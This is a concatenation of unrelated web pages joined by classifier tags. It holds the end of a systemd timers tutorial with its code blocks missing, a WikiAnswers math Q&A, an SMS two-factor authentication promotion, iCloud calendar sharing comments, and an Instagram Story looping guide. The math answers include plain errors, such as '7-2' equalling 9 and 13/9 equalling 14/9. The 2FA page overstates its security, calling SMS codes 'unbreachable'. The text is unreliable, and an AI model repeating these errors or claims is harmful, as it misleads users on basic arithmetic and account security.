ExecStart= option takes the command you want to run, which in this case, is to execute the cleanDisk.sh bash script located in the /opt directory. You can check out this service unit configuration documentation for more information on systemd services. bash Memory usage script and service You can adapt the memory usage script to look for instances of applications in the process monitoring command (ps aux) that consume a lot of memory. For instance, if you wanted to find out how much memory the firefox browser is using, scroll down and look for recurring words in the file path (Downloads/firefox). $ ps aux | grep firefox This can be collated into a report to show aggregate memory usage, which informs remediation. For brevity, you can use a script to automate the process. Begin by creating the systemdFirefoxMem.sh script in the home directory that, when run, automates the setup of the script and service file for your Firefox memory usage report. Notice the string Downloads\/firefox below. The backward slash (\) is to escape the special character of forward slash (/) which must be in the file path and makes up the unique string being searched for by the awk command. bash Make the script executable and run it: bash Create a timer There are two types of systemd timers, which can be used individually or concurrently: • Real-time timers make use of wall clock time and use the OnCalendar= option in the [Timer] section of a .timer file to activate a calendar event the same way cron jobs do, but in this format: DOW YYYY-MM-DD HH:MM:SS. • Monotonic timers are independent of wall clock times and time zones. You use these timers to schedule a task relative to a predefined event or varying starting point. Moreover, these timers are not persistent and stop at shutdown or reset. Common monotonic timer options include OnBootSec=, which refers to the time elapsed after system boot. Now, let's create a real-time timer with the cleanDisk project and a monotonic timer with the firefoxMem project. We'll begin by creating a cleanDisk.timer file in the /etc/systemd/system directory and include Unit, Timer, and Install sections. You’ll see the OnCalendar= option. This means that the cleanDisk job will run in the year 2022, weekly, every Saturday for September and October at 23:55. Change this to a current or future date of your choice. See the systemd.timer documentation for more information on calendar event expression. bash This time is stored on disk because of the Persistent=True option. If the server is ever shut down or temporarily suspended within a set time, the job runs as soon as the server is back up to make up for the missed activity. Also, a RandomizedDelaySec= between 0 and 5 minutes has been set for the service to run. This accounts for unforeseen processes that could interfere within the set time. Be sure to check if the time you choose is valid using the systemd-analyze calendar command. For example, "Sat 2022-9,10~5 12:55:00" never elapses because there are no Saturdays five days from the month’s end in September and October. However, "Sat 2022-9,10-* 23:55:00" does elapse, as there’s one Saturday and Tuesday in each month, respectively. bash Let's edit the firefoxMem.timer file. Notice the OnBootSec= option. This means the firefoxMem job will run 10 minutes after booting up, assuming that the user has begun using the firefox app within that time. bash Systemd timer launch, logs, and maintenance Now we'll launch our timer and go over logs and maintenance. Launching the timer is easy. It only requires you to use systemd commands to enable and start the timer. • Enable the timer: $ sudo systemctl enable cleanDisk.timer • Reload the systemd daemon to note that a timer has been enabled: $ sudo systemctl daemon-reload • Start the timer: $ sudo systemctl start cleanDisk.timer You can also check the status of the timer and the service. If the command has run multiple times, all of that will show on the screen. This is why it’s often preferred to use the journalctl follow command to see the latest logs for the timer or service. • View the latest logs of the service: $ journalctl -f -u cleanDisk.service • List systemd timers to see a table of past and next timing for your timer (optional): $ systemctl list-timers We can use similar commands to launch firefoxMem.timer. To do so, we'll enable the timer, reload the systemd daemon, start the timer, and reboot our machine: $ sudo reboot The timer starts the service, which generates the usage report in the /tmp directory based on the specified time after boot elapses. After rebooting, log in and try to view logs⁠—in this case, the last six lines with the n argument. Then, view the direct report generated in /tmp directory with the cat command after the timer has run. bash Now we'll show you how to decommission a systemd timer. We'll do this for the cleanDisk.timers commands "stop", "disable", and "reload daemon". We included an extra step to delete the script, service, and timer files using the rm command. See below: bash A similar process applies to the firefoxMem.timer: Systemd’s timers help you schedule tasks exclusively on Linux operating systems with much more precision and oversight than its popular competitor, cron. You can configure it to run on calendar dates, predefined events, or both, and you can easily trace its activity with the help of systemd and journalctl commands. The drawback, however, is the complexity of the configuration. To schedule jobs efficiently, you must be well-versed in using the Linux OS and its CLI, and have knowledge of the right scripts, systemd services, and how to use timers. Fortunately, there are other scheduling alternatives out there that could be a good fit for your use case. Airplane provides a maintenance-free alternative to systemd that's complete with permissions, audit logs, and an intuitive and secure UI. A better alternative with Airplane Schedules Airplane is a developer platform to quickly transform APIs, scripts, and queries into UIs and workflows for your team. In Airplane, you can build Tasks (functions that anyone on your team can execute such as SLQ queries, scripts, or wrapping around a REST call) and then configure your tasks to run on schedules. Airplane also has a feature called Views that allows you to create custom UIs for things like admin panels, customer onboarding workflows, and other internal dashboards. Outside of ease of use, one of the biggest advantages of using Airplane to manage your scheduled tasks is that you get audit logs, permissions, notifications, an easy-to-use UI, and more all out of the box. You can also set your tasks to run on schedules or run them manually as one-offs. If you're looking for an enterprise-grade task scheduler, you can get started with Airplane for free or reach out to the team at [email protected] 👋. If anything in this article caught your interest, you can check out our blog for more scheduling-related content like how to start, stop, and restart cron, how to run cron in containers, creating Golang cron jobs, and more. Share this article: Subscribe to new blog posts from Airplane.
__label__pos
0.574105
answersLogoWhite 0 Best Answer -9 would be the same as -|9|. User Avatar Wiki User 2011-10-21 22:21:58 This answer is: 🙏 0 🤨 0 😮 0 User Avatar Study guides 📓 See all Study Guides ✍️ Create a Study Guide Add your answer: Earn +20 pts Q: What is equivalent expression for the number -9? Write your answer... Submit Related questions What expression is equivalent to 8-2? 10 What expression is equivalent to 8 plus 6? The expression 9+5 is equivalent. What expression is equivalent to ( 72 plus 9)? The expression when factored is equivalent to: 9(8+1) and they both add to 81 What expression is equivalent to (72 plus 9)? If you add the two numbers, you'll get an equivalent expression. Which expression is equal to 9 x 8-3? 69 is an equivalent expression. What is equivalent to the expression 7-2? 9 What expression is equivalent (72 plus 9)? 9(8 + 1) What expression is equivalent to (72 plus 9 )? It is: 9*(8+1) = 81 What expression is 72 plus 9 equivalent to? It is: 9(8+1) is equivalent to (72+9) and they both total to 81 Write the phrase as a variable expression the product of 9 and a number? The expression is 9*x. Which expression is equivalent to 45 10? To get an equivalent expression multiply both numbers of the ratio, 45:10, by any non-zero number. You will have an equivalent ratio. Which expressions is equivalent to the number 1? The expression "1". Which expression is equivalent to 3x - 12? -9 Which expression is equivalent to 9aaaabbbb? 9aaaabbbb = 9 a^4 b^4 What mixed number is equivalent to 13 9? The mixed number equivalent to 13 over 9 is 14/9 What is the algebraic expression for the sum of 9 and a number? Assuming the number is x, then: x + 9 What is the algebraic expression for 9 times a number? 9x How do you write 9 less then twice a number? As an algebraic expression it is: 2x-9 What is the algebraic expression of a number increased by 9 times the number? x+9x Which expression or phrase is equivalent to thirtyfour? 34 is an equivalent expression. Write a variable expression for 9 more than a number s? s + 9 How do you write the algebraic expression for the quotient of a number and 9? N/9 What is a number plus three is 9 in algebraic expression? 3 plus x = 9 Which expression is equivalent to 6 -3? 9 Generating equivalent expression 3x-9 plus 3x plus 5? The equivalent expression of 3x-9 plus 3x plus 5 is negative 4.
__label__pos
1
Basics of Two-Factor Authentication – Enterprise SMS Did you know that 81% of security breach happens due to weak passwords? To avoid the security breach in the companies' data, 26% of companies use the two-factor authentication method such as OTP SMS or biometric authentication. The two-factor authentication or 2FA adds an extra security layer to the accounts needing security. Know more about the authentication factors, how 2FA works, its benefits, and its importance. Authentication Factors There are many ways to apply two-factor authentication to an account needed to approve the authentication request. Some of these are: • Knowledge Factor : It refers to the factors known to the user, such as a shared secret, password, PIN, and more. • Possession Factor : It refers to the factors owned by the user, such as his smartphone, security app, ID card, security token number to approve the authentication requests.   • Inherence Factor : It refers to the factors inherent by the user, such as his speech pattern, biometric patterns – facial, thumb impression, and more. How 2FA Works? As per the latest study of Google, the OTP SMS or SMS service-based authentication method can block up to 100% of the automated bots and 99% of phishing attacks and can reduce the targeted attacks up to 60%. The SMS-based authentication method works via an Enterprise SMS solution through SMS Gateway API of trusted SMS API providers. Once the user enters his login credentials, he receives an OTP SMS to verify his login request. For instance - If the user wants to log into a work account from a shared laptop, he can adopt the possession factor as a two-factor authentication method. In that case, he has to enter his work password and approve a push notification, or OTP SMS sent on his smartphone via genuine OTP SMS Service Provider or authentication apps. What are the Benefits and Importance of 2FA? The two-factor authentication – SMS has several security-related benefits, some of these are: • It adds a layer of security to a user account that makes it impregnable and unbreachable. In which the user will need an additional layer of validation after providing the credentials to get into his account. • It ensures data security and validates only legit and secure access to the user account. The intruder will need the user's smartphone to access his account to confirm the security key or OTP received as a two-factor authentication method. • It protects the network susceptibilities and data breaches due to a torrent of hacking strikes via viruses embedded in the rich media on associations and governments. • It validates consumer identity through OTP SMS so that the intruders will face hard times intruding or breaking into the user account. Strengthen personal to work accounts security and get your consumers validated with 2-factor authentication via OTPs with 100% delivery. Interested to know more about the power of Enterprise SMS and leverage it to your advantage? Get in touch with the experts now! Reach out to us for any assistance and information. Continue Reading
__label__pos
0.628805
MacMost Now 674: Sharing Calendars With iCloud iCloud makes it easy to share calendars with others. You can create a public calendar that is read-only to others and anyone can subscribe to it. You can also create shared calendars that can be viewed and/or updated by a list of others you invite. Comments: 38 Responses to “MacMost Now 674: Sharing Calendars With iCloud” Murray A 11 years ago In Calendars, I have one calendar "ON MY MAC" and one for iCloud. Practically everything is duplicated, but not everything. How do I combine the 2? 11 years ago Simply stop using the "on my Mac" calendar. Just use the iCloud one. Alice 11 years ago Step 1) Select your ON MY MAC Calendar and go to File-> Export-> Export... Save this ON MY MAC.ICS file to your desktop Step 2) Go to File-> Import-> Import... choose the ON MY MAC.ICS file you exported in step 1 and click Import. You will be prompted to select a destination calendar. Choose your iCloud calendar and all events will now be on this one calendar. Step 3) Once you verify that all the events are showing on your iCloud calendar, go to your calendar listing and right-click your ON MY MAC calendar and choose delete. Bruce Payne 11 years ago Can you share calendars from iCloud (running Lion) to MobileMe (running Snow Leopard) Helpful video.... thx 11 years ago I doubt you can do the private sharing (where you can update the calendars). But you might be able to subscribe to a public calendar. Of course even if your Mac is running Snow Leopard you can still log on to iCloud.com and access the iCloud calendar there. Ron D 11 years ago Why do I get duplicates in iCal on my Mac and iPhone? Is there a way to delete duplicates? 11 years ago Most likely because you are subscribed to the same (or similar) calendar twice. You could be subscribed to the new iCloud version and your old MobileMe one. Could be iCloud and your old "On My Mac" one (synced from iTunes). Simply identify the duplicate calendar in your settings and eliminate it. Ron D 11 years ago Gary,thanks, I assume it is settings on iPhone, what about Mac? 11 years ago Check in any and all places: iPhone Calendar app, iPhone settings for calendars, iCal on your Mac. Also your iTunes sync settings for that iPhone. Ron D 11 years ago Thank You. Chuck 11 years ago Great Video - Thanks! Would the shared calendar link work for people running Windows or is this a Mac / iCloud only thing? Thanks! 11 years ago Try it and see. They can always get an iCloud account too -- and use iCloud.com to view it at the very least. Paul 11 years ago Gary, When I open info the description/url screen is blank? 11 years ago Check to make sure you have turned sharing on for that particular calendar first. Ihab A Hosny 11 years ago Hi Gary, I have an automator calendar for all automator related calendar events on my home iMac. What can I do to not share this calendar with my work iMac since these events don't apply to it. Both Macs share the same iCloud ID. Warmest regards, Ihab A Hosny 11 years ago I would not use an iCloud calendar for this. Use an "On My Mac" calendar. JC 11 years ago Hi Gary, once I create an iCloud public calendar like you described, can others subscribe via iOS? That is, without having to use their Macs? As always, very useful video. Love your content. The newsletter is awesome! 11 years ago Should be able to. I see in Settings, Mail, Contacts, Calendars, you can add "Other" and a calendar subscription is one of the options. Haven't tried it though. I did try sending an invite and then clicking on the link in Mail on my iPad. That worked. JC 11 years ago Not only did it work, but I was also able to send the link via text (iMessage or SMS) by copying it from the email link. Then, when the user clicked on text link in iOS, it nicely prompted the user if she wanted to subscribe. Very cool. Thanks again! Ken Oliver 11 years ago I cannot sync my ipod calendar with my mac book pro. I was getting a message saying the server path is wrong. I erased it but I don't know what is right. I got the message when I try to refresh. Now when I try to refresh, nothing happens. What should the server path be? 11 years ago Server path? You don't need a server path to sync to your iCloud calendar. Just add that iCloud account in Settings and turn Calendar sync on for that account. Will 11 years ago Gary, Do you know if there is a reason why Apple deletes old calendar events? It seems odd to me, because a calendar is used (mainly) for identifying and keeping track of future events but also is used to lookup past events. This has become very frustrating to me as I have realized all of my previous calendar entries were being purged. Is there a way to prevent this? 11 years ago Old calendar events aren't deleted. I can look in iCloud and see appointments I hd scheduled many years ago. Perhaps you are just looking on an iPhone or something? I think the little Calendar app on the iPhone only syncs old events up to a certain point. Dee 10 years ago Hi Gary, I shared my iCloud calendar with my husband. He accidentally deleted it via his iPhone. The calendar doesn't appear on my iPad, Mac, or iPhone. Is there anything we can do to retrieve the data? Very worried and without dates! Dee 10 years ago If he completely deleted the calendar from iCloud (not just removed it from his iPhone) then it is gone. Did you check at iCloud.com? Dee 10 years ago Yes, I checked on iCloud.com via each of my devices. Ugh!!! Thanks! Joanne 10 years ago I was sent an email to join an icloud calender, but nothing happened when I clicked on the ”join” tab. What could be the problem 10 years ago Not sure. Are you using Mountain Lion or at least Lion? Did you check in Calendar app to see if the Calendar is there? Maybe the person who created it has removed it since? Hard to troubleshoot without being in front of it. Bruce Anschutz 10 years ago Gary, Ever since the iOS6 update, every time my wife updates her calendar I receive an invite instead of it just “showing up”. Is there a way for both of us to remove this nuisance? I use a MacBook Pro and iPad3, she’s only on the iPad2 with iOS6. 10 years ago Sounds like you aren't sharing a calendar, but maybe something else. A lot depends on what system you are using (Gmail, Yahoo, iCloud, etc) and how you have ti set up on both ends. Just check and re-check everything on both ends to sort it out. Glen 10 years ago Me too. Sharing google calendar via iPhone. New calendar events appear in my partner's iPhone as an invitation. We have changed nothing. Seems to have started by itself. Roy 10 years ago Hi folks, Does anyone know if there is any advantage to using a shared iCloud calendar between two people as apposed to using a shared google calendar between two people. My wife and I have two iPhone 4s's and two macbook's and so we would be sharing our calendar on all four devices. Thanks in advance to anyone who can help :) Roy 10 years ago Hi Gary, I decided to just go ahead and set up my family calendar using iCloud, and when I hit "control option" and then "get info", nothing shows up in the description box like when you did it. I set up my apple id many years ago--well before iCloud hence my apple id ends in mac.com. Could this have something to do with it? Anyhow, I did test it and non-the-less, it seems to be working. But I must say that I am curious as to why that URL does not show up in the description box. 10 years ago Nothing to do with your email address. May have to do with the fact things change -- this video is 9 months old and there have been updates. Cheryl Detrick 10 years ago Hi Gary: If I share a calendar with multiple people, will they all see the list of who is sharing it? Comments Closed.
__label__pos
0.555274
How to Loop a Video on Instagram Story Social media has transformed into an interactive canvas where stories come to life through images, videos, and creativity. Among the platforms that have redefined the way we share and connect is Instagram—an immersive playground where moments are captured, tales are told, and expressions find their visual voice. Instagram Stories is at the heart of this visual storytelling, a dynamic feature that lets us share fleeting yet captivating slices of our lives. Instagram Stories, represented by profile bubbles at the top of your feed, offer a canvas to weave together a series of images and videos that vanish within 24 hours. This ephemeral nature has given rise to engaging narratives, from sharing daily experiences to offering behind-the-scenes glimpses into personal and professional worlds. How to Loop an Instagram Story? But what if you could make your stories linger a bit longer, uniquely captivating your audience’s attention? This is where “looping” comes into play—a creative technique that allows you to seamlessly repeat a video story for an engaging effect. By mastering the art of looping, you can amplify your message and create an immersive experience that viewers won’t want to look away from. Looping transforms a short video clip into a captivating loop, ensuring your audience effortlessly absorbs your story message. Imagine sharing a teaser for an upcoming event, showcasing a mesmerizing animation, or offering a sneak peek of your latest creation—all in a loop that leaves viewers entranced. Grabbing attention is key and looping in Instagram Stories is your secret weapon. This guide will walk you through the steps, showing you how to craft looping stories that captivate, engage, and leave a lasting impression on your audience. So, buckle up and get ready to dive into the world of Instagram Stories looping—a technique that lets your stories echo beyond the ephemeral, resonating with your followers in a way that’s impossible to ignore. Unlocking the Power of Looping In the ever-evolving social media landscape, capturing attention and conveying messages effectively are the cornerstones of successful content creation. Enter the world of looping in Instagram Stories—a dynamic technique that enhances engagement and amplifies your message in a captivating and memorable way. Maximizing Engagement Through Looping At the heart of any social media strategy is the desire to engage your audience in a meaningful way. Looping in Instagram Stories takes this engagement to a whole new level. While traditional stories might be consumed within a fleeting moment, a looped story encourages viewers to linger, to watch again, and to become deeply immersed in your content. The human brain is naturally drawn to patterns and repetitions. A looped story capitalizes on this innate tendency, creating a hypnotically engaging experience. As viewers watch your story loop seamlessly, their attention becomes fixed, and they’re more likely to retain the message you’re conveying. It’s a strategy that turns passive viewers into active participants, increasing the chances of your content being shared and discussed. Conveying Messages Effectively Through Visual Impact In the era of information overload, attention spans are at a premium. This is where the power of looping comes into play. A looping story condenses your message into a visually impactful package that’s impossible to ignore. Whether you’re showcasing a product, promoting an event, or simply sharing a captivating scene, looping allows you to repeat the essence of your content, ensuring it’s etched into the minds of your viewers. Think of looping as a visual mantra—an elegant repetition that reinforces your message without overwhelming your audience. This technique is especially effective for conveying complex ideas, as the repetitive nature of a looped story allows viewers to absorb the information gradually, leading to better comprehension and retention. Creating Memorable Experiences and Lasting Impressions Looping isn’t just about engagement and message delivery; it’s about creating an experience that lingers in the minds of your audience. When viewers encounter a looped story, they don’t just watch it; they experience it. The rhythmic repetition and visual allure make your content memorable, turning your story into an enduring snapshot in their mental gallery. In the realm of marketing and content promotion, leaving a lasting impression is the ultimate goal. Looping in Instagram Stories achieves precisely that. By enveloping your audience in a captivating loop, you leave them with a vivid memory—a mental bookmark of your content that they’re more likely to recall and act upon. Creating a Loopable Story Video: Crafting a Captivating Visual Loop A loopable story video is the foundation of a captivating looping experience on Instagram. Whether you’re sharing a product demo, a stunning landscape, or a mesmerizing animation, the key lies in curating a seamless loop that keeps viewers engaged. Here’s a detailed breakdown of the steps involved in creating a loopable story video: Recording or Selecting the Video Content Begin by determining the content you want to loop. This could be a video you’ve recorded or an existing clip from your gallery. Keep in mind that the video’s length will influence how well it loops, so aim for a clip that’s neither too short nor overly lengthy. If you’re recording new content, ensure a stable setup and good lighting to capture the best quality footage. Editing the Video for Optimal Looping Trimming Unnecessary Content: Open a video editing software or use Instagram’s built-in editing tools to trim any unnecessary portions from the beginning and end of the video. These trims ensure that the loop starts and ends seamlessly, creating a fluid visual experience. Trimming unnecessary portions from the beginning and end of your loopable video is a foundational step in creating a visually seamless loop. This process ensures that your loop starts and ends smoothly, enhancing the overall visual experience for your audience. Here’s a comprehensive guide on how to achieve this fluidity through trimming and editing: 1. Choose Your Editing Tool: To begin, select a video editing software or use Instagram’s built-in editing tools. Popular third-party software options include Adobe Premiere Pro, Final Cut Pro, iMovie, and even free options like Shotcut and DaVinci Resolve. Alternatively, Instagram’s in-app editing tools allow for basic adjustments and trimming. 2. Import Your Video: If you’re using third-party software, import your loopable video into the program. Ensure the video is in a suitable format and resolution for optimal editing. Instagram’s in-app editing tools allow you to access your video directly from your device’s gallery. Ensuring Smooth Transitions at Loop Point The secret to a captivating and visually seamless loop lies in the transitions at the loop points. These transition moments—where the end of the video connects to the beginning—play a pivotal role in maintaining the illusion of a continuous and engaging loop. Let’s explore the nuances of ensuring smooth transitions at loop points: 1. The Essence of Continuity: Continuity is the thread that weaves your loopable video into a cohesive visual story. When a loop transitions from its end back to its beginning, viewers should experience a seamless flow that doesn’t disrupt their visual engagement. Think of it as a never-ending loop, where the end effortlessly connects with the beginning, creating an immersive and enchanting experience. 2. Elements of Smooth Transitions: To achieve smooth transitions, consider the following aspects: a. Actions: If any specific actions or movements are in the video, ensure they match up seamlessly as the loop restarts. For instance, if a person is waving at the end of the video, make sure their hand position is consistent when the loop begins again. b. Colors and Lighting: Keep an eye on color consistency and lighting conditions. Abrupt changes in color or lighting can create visual hiccups. Ensure that the loop’s colors and lighting flow smoothly from end to beginning. c. Elements’ Position: If there are any prominent elements in your video, such as objects or text, ensure their positions are aligned at the loop points. If they shift abruptly, it can disrupt the visual continuity. 3. Avoiding Abrupt Changes: The key to a successful loop is avoiding abrupt changes or jumps that catch viewers off guard. Sudden shifts in visuals can break the illusion of a seamless loop and make the repetition noticeable. Aim for a loop that flows naturally without any jarring interruptions. Adjusting the Video Length The duration of your video is a key factor that can make or break the seamless looping experience. Striking the right balance is essential to ensure that your loop captivates viewers, maintains engagement, and delivers your message effectively. Let’s delve into the intricacies of adjusting video length for a seamless and engaging loop: The Natural Flow of Repetition: Consider the fundamental nature of looping—a video that cyclically repeats itself. The video’s content must unfold in a way that doesn’t feel abrupt when it transitions from its end back to its beginning. The rhythm of repetition should feel like a continuous story rather than a disjointed snippet. The Jarring Effect of Short Loops: If your loopable video is too short, the repetition might become jarring for viewers. The abruptness of restarting the video can disrupt the visual flow and make the loop feel repetitive in a negative way. Short loops might not provide enough time for viewers to absorb the content, resulting in an underwhelming or confusing experience. Maintaining Engagement in Longer Loops: On the other hand, viewers might lose interest during subsequent repetitions if your loopable video is too long. The initial engagement might dwindle as viewers anticipate the repetition, leading to a decrease in attention and impact. Longer loops could also make viewers feel like the content is dragging, affecting their overall perception. Striking the Balance: Experimentation is Key: The key lies in experimentation. Begin with a reasonable video length for conveying your message or showcasing your content. Then, create a loop using this duration and preview it multiple times. Put yourself in the viewer’s shoes and ask: Does the loop feel smooth and engaging after multiple repetitions? Does it maintain your attention and interest? Testing and Fine-Tuning: Creating a loopable story video is an art that involves not only editing but also an acute sense of visual rhythm and engagement. After you’ve edited the video for optimal looping, the crucial step of testing and fine-tuning ensures that your loop captivates viewers and delivers the desired impact.  Here’s a detailed breakdown of how to approach this crucial phase: 1. Preview Your Loopable Video: Before sharing your loop with the world, preview it multiple times yourself. Watch it with a critical eye to identify any potential issues or areas that might need improvement. This step allows you to experience the loop as your audience would and helps you gauge its overall appeal and coherence. 2. Check for Smooth Transitions: Pay close attention to the transitions at the loop points as your loop plays. Look for sudden jumps, glitches, or discrepancies that disrupt the visual flow. Smooth transitions are essential for maintaining the seamless and engaging nature of the loop. If you notice any issues, make a note of them for adjustment. 3. Evaluate Pacing and Duration: Consider the pacing of your loop. Does it move at a rhythm that keeps viewers engaged without feeling rushed or slow? Also, evaluate the loop’s duration. Is it long enough to convey your message or showcase your content effectively? Is it short enough to maintain viewer interest even after multiple repetitions? Aim for pacing and duration that feel natural and engaging. Methods to loop an Instagram story Join us as we embark on a journey through the art of looping Instagram Stories. By the end of this section, you’ll have the tools and insights to create loops that capture attention and create an unforgettable visual experience—one that keeps viewers engaged, sparks conversations, and lingers in their minds long after the loop concludes. Let’s dive in and unravel the magic of looping Instagram Stories. Method 1: Have you tried Boomerang? When it comes to creating captivating loops in your Instagram Stories, one of the most user-friendly and effective methods at your disposal is the beloved Boomerang feature. Boomerang takes a burst of photos and stitches them together into a looping mini-video that’s visually mesmerizing and endlessly engaging.  You’ll need to record a short burst of movement in Boomerang mode. This could be anything from a playful gesture to a dynamic action. Keep in mind that the smoother and more visually interesting the movement, the more captivating your loop will be. Boomerang videos are typically about 1-2 seconds long. Instagram automatically loops the video, creating a seamless repetition. Since Boomerangs are short by nature, they’re perfect for capturing attention in a quick-scrolling feed. After capturing your Boomerang, review it to ensure you’re satisfied with the loop. If you’d like, Instagram also provides basic editing tools like filters and text overlays to enhance your Boomerang’s visual appeal. Once you’re content with your Boomerang, tap the “Your Story” button to add it to your Instagram Story. Your Boomerang will loop seamlessly, captivating your viewers with its hypnotic movement. Step 1: In order to begin, please make sure to install the Boomerang app on your device.  Step 2: Now, you must long-press the record button. This will record the video!  Step 3: Go and hit the Instagram icon to end the recording.  Step 4: Next, you must select stories to post and edit them as per your preferences.  Method 2: Create a loop Instagram video for the Instagram story using third-party apps If you’re aiming to take your Instagram Stories to the next level, third-party apps offer a wealth of creative possibilities for crafting captivating looped videos. These apps provide advanced editing tools, effects, and features that allow you to infuse your stories with a touch of uniqueness and visual flair.  Third-party apps often offer a range of advanced editing tools that allow you to fine-tune your looped videos. From adjusting color balance and saturation to enhancing clarity and contrast, these apps put professional-level editing at your fingertips. These apps come equipped with an array of filters and effects that can transform the look and feel of your videos. You can experiment with vintage aesthetics, futuristic effects, and everything in between, adding a layer of creativity to your loop. Many third-party apps offer animation and motion effects that can give your looped videos a dynamic edge. From subtle movements to eye-catching animations, these effects can elevate your loop and make it stand out in a sea of stories. Incorporating text, stickers, and overlays can add context and personality to your looped videos. These apps often provide a wide range of fonts, styles, and design elements that allow you to customize your story’s visual narrative. While Instagram’s native app allows basic trimming, third-party apps can offer more precise control over transitions. This is particularly useful for achieving the smoothest possible loop, ensuring that viewers are drawn into the repetition without disruptions. Some third-party apps allow you to add music or sound effects to your looped videos. This audio layer can enhance the mood, evoke emotions, and create a multisensory experience that resonates with your audience. Step 1: In order to begin, go to any third-party tool you prefer for the purpose. Here, we will go ahead with Flexclip.com.  Step 2: Navigate to the local files category and copy it to the storyboard.  Step 3: Next, please edit the video as required. If not, you can skip the step.  Step 4: Preview your video and make sure to export it to your local file and folder.  And you’re done! Method 3: Record a loop video before sharing it on Instagram Creating a looped video before sharing it on Instagram involves strategic planning and thoughtful execution. This method allows you to curate a seamless and captivating loop that resonates with your audience. Here’s a comprehensive exploration of this approach: Begin by conceptualizing the looped video you want to create. Consider the message, story, or theme you wish to convey. Plan the content, visuals, and any actions that will be part of the loop. Storyboarding helps outline the sequence of shots, actions, and transitions in your looped video. This process allows you to visualize how the loop will unfold, ensuring a coherent and engaging narrative. Prepare the filming setup according to your loop’s requirements. Ensure proper lighting, audio quality, and camera stability. The technical aspects play a significant role in the loop’s overall quality. When filming, focus on capturing actions or motions that can naturally loop. Actions with clear starting and ending points work well, seamlessly transitioning when repeated. Pay attention to the transitions between actions or shots. Smooth transitions are key to maintaining the loop’s continuity. Minimize abrupt changes or disruptions to create a visually pleasing experience. Consider the visual aesthetics of your loop. Use colors, composition, and framing to enhance the overall appeal. Visual consistency helps keep viewers engaged as the loop repeats. Since you’re creating a loop, repetition is your friend. Plan actions that can be repeated without losing their impact. Additionally, timing is crucial—ensure that the loop’s duration feels natural and engaging. Step 1: In order to begin, click open your Instagram application.  Step 2: Hit the Instagram camera icon.  Step 3: Slide to the Boomerang icon at the bottom right corner.  Step 4: Please make sure to tap the recording button to start recording.  Step 5: Make the edits as per your requirement.  Step 6: There is a checkmark option on your screen. Please tao on it to proceed.  Creating a loop video demands a blend of creativity, technical proficiency, and a deep understanding of your audience’s preferences. By meticulously planning, filming, editing, and sharing your looped video, you’re crafting a captivating visual experience and tapping into the power of storytelling that transcends the boundaries of repetition. This method offers you the canvas to tell stories that echo in the minds of your audience, creating a loop that leaves a lasting impression. Method 4: You can start looping on the Instagram story Looping videos on Instagram Stories can be a captivating way to engage your audience, create visually striking content, and leave a lasting impression. Instagram’s native features and tools allow you to easily achieve this effect.  Looping videos offer endless creative possibilities. You can showcase product details, highlight special moments, create artistic visual effects, or simply tell a short story in a captivating and repetitive manner. Consider adding them to your Story Highlights to give your looped videos more visibility. This way, they remain accessible to your audience beyond the standard 24-hour Story duration. Unveiling Looping Magic Looping videos on Instagram Stories empowers you to craft content that captures attention, conveys messages, and invites viewers to immerse themselves in the visual experience.  By leveraging Instagram’s native looping feature, you’re tapping into a dynamic storytelling tool that lets your creativity shine and your messages resonate. So, whether you’re a creator, brand, or storyteller, harness the power of looping videos to create moments that loop their way into your audience’s memory. Step 1: In order to begin, please ensure to save the target video for looping in your phone storage.  Step 2: Now, tap open your Instagram app, and create a new story.  Step 3: There is a + icon at the lower left corner. You must tap it to select the target video.  Step 4: Hit the next button at the upper right corner.  Step 5: Find the option to Play, and you’re done.  Frequently asked questions (faqs) Common errors in looping instagram videos and their fixes Creating looped videos on Instagram can be a captivating way to engage your audience, but like any creative endeavor, it comes with its fair share of challenges. From unexpected disruptions in the loop to technical glitches, various errors can hinder the seamless looping experience you’re aiming for.  In this comprehensive guide, we’ll explore common errors in looping Instagram videos and provide practical solutions to ensure your looped content captivates viewers without any hiccups. 1. Disrupted Loop Transitions: One of the most frustrating errors is a disrupted transition between the end and the beginning of the loop, leading to a jarring visual experience.  Fix: To address this, meticulously review the video’s content at the loop points. Make sure the actions, movements, or visuals naturally flow from the end to the beginning. Smooth transitions create a seamless loop, so pay attention to frame continuity and any potential abrupt shifts. 2. Audio Glitches Audio synchronization issues, such as a sudden cut or overlap at the loop points, can detract from the loop’s overall quality.  Fix: When editing, ensure that the audio seamlessly transitions between the loop points. Use fade-ins or fade-outs to soften any audio disruptions. Additionally, preview the looped video with audio to confirm that the sound remains consistent throughout. 3. Awkward Loop Durations Looped videos that are too short or too long can impact the viewer’s experience. Short loops may feel rushed, while long loops risk becoming monotonous.  Fix: 1. Experiment with different loop durations to find the optimal balance. 2. Test how the loop feels when viewed multiple times. 3. Adjust the video’s pacing, actions, or transitions accordingly to create an engaging loop. 4. Aspect Ratio Mismatches Uploading a looped video with an incorrect aspect ratio can lead to cropping issues, distorting the visuals, or altering the loop’s intended impact.  Fix: Before creating a looped video, ensure that you’re using Instagram’s recommended aspect ratios. You can find these guidelines on Instagram’s official website. Adhering to these standards will prevent cropping and maintain the video’s intended composition. 5. Looping Glitches on Playback Occasionally, looped videos might experience glitches during playback, causing visual inconsistencies or disruptions in the loop.  Fix: This issue might stem from a corrupted file or a technical hiccup during uploading. To address it, re-export the looped video from your editing software and ensure that the file format and resolution match Instagram’s requirements. Delete the previous post and re-upload the fixed looped video. 6. Inconsistent Color and Lighting  When a looped video’s color or lighting changes abruptly at the loop points, it can be visually jarring.  Fix: 1. Pay close attention to color grading and lighting adjustments when editing. 2. Make sure that these elements are consistent throughout the loop. 3. If necessary, use color correction tools to create a seamless visual transition. Stuttering Loop Playback A looped video that stutters or lags during playback can diminish its overall impact and viewer engagement.  Fix: If the looped video experiences playback issues, the file size might be too large for smooth streaming. Consider compressing the video slightly or adjusting the export settings to strike a balance between quality and file size. 7. Platform-Specific Glitches Looping issues might also arise from Instagram’s platform itself, such as server glitches or temporary technical problems. Instagram’s platform relies on a complex network of servers to host and deliver content to users worldwide.  Occasionally, these servers can experience glitches, overloads, or temporary malfunctions. When such server-related issues arise, they can affect various platform functionalities, including the smooth playback of looped videos. High user activity levels, such as during peak usage hours or viral content trends, can lead to network congestion. This congestion can strain Instagram’s servers, causing slowdowns, buffering, or interruptions in video playback, including looped videos. Temporary technical problems can arise from a variety of sources, such as coding errors, compatibility issues, or unexpected bugs within the platform’s codebase. These problems can lead to sporadic glitches affecting looped videos. Fix: If you suspect that the looping issue is platform-related, try posting the looped video at a different time. Instagram’s technical glitches are usually resolved quickly. If the problem persists, reach out to Instagram’s support team for assistance. Remember that each error presents an opportunity for learning and improvement, ultimately contributing to your mastery 